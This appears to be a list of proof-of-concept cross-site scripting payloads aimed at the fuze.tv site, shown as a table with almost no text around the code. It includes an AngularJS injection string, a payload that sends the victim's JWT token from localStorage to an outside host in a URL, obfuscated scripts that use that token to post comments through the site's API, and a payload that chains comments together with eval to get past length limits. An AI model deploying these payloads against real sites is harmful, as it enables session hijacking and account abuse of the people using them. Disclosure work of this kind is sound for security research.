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Fuze.tv Vulnerability PoCs
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| - XSS AngularJS | |
| {{constructor.constructor('alert(1)')()}} | |
| - XSS steal token | |
| <video><source onerror=location=/\google.com/+localStorage.getItem("jwt_token")> | |
| - XSS that cause user to interact with API | |
| <script>const scheme = ["ht","tp","s"]; const payload = {"message":"Hello there","parentId":"0","attachedVideoEntryId":null};const param = {method: "POST", headers: {'Authorization': localStorage.getItem("jwt_token"), 'Accept': "application/json, text/plain, */*", 'Content-Type': "application/json;charset=UTF-8"}, body: JSON.stringify(payload)};fetch(scheme.join('')+"://brain.fuze.tv/api/feed/comment/1/60fac75b38e93f0019fc24d6", param).then((res)=>{return(res.json());}).then((json)=>{alert("executed")})</script> | |
| <iframe srcdoc=<script>const scheme = ["ht","tp","s"]; const payload = {"message":"Hello there","parentId":"0","attachedVideoEntryId":null};const param = {method: "POST", headers: {'Authorization': localStorage.getItem("jwt_token"), 'Accept': "application/json, text/plain, */*", 'Content-Type': "application/json;charset=UTF-8"}, body: JSON.stringify(payload)};fetch(scheme.join('')+"://brain.fuze.tv/api/feed/comment/1/60fac75b38e93f0019fc24d6", param).then((res)=>{return(res.json());}).then((json)=>{alert("executed")})</script>></iframe> | |
| - XSS payload from comments and Bypass text length limitation | |
| <script>const payloadScheme = ["ht","tp","s"]; fetch(payloadScheme.join('')+'://brain.fuze.tv/public/feed/comments/60fac75b38e93f0019fc24d6/0/2/cached.js').then(response => response.json()).then(json => {payload = json["comments"].slice(-1)[0]["message"].replace(/>/g, ">"); payloadSecond = json["comments"].slice(-2)[0]["message"].replace(/>/g, ">"); eval(payload); alert(payloadSecond);});</script> | |
| <iframe srcdoc=<script>const payloadScheme = ["ht","tp","s"]; fetch(payloadScheme.join('')+'://brain.fuze.tv/public/feed/comments/60fac75b38e93f0019fc24d6/0/2/cached.js').then(response => response.json()).then(json => {payload = json["comments"].slice(-1)[0]["message"].replace(/&gt;/g, ">"); payloadSecond = json["comments"].slice(-2)[0]["message"].replace(/&gt;/g, ">"); eval(payload+")"); alert(payloadSecond);});</script>></iframe> |
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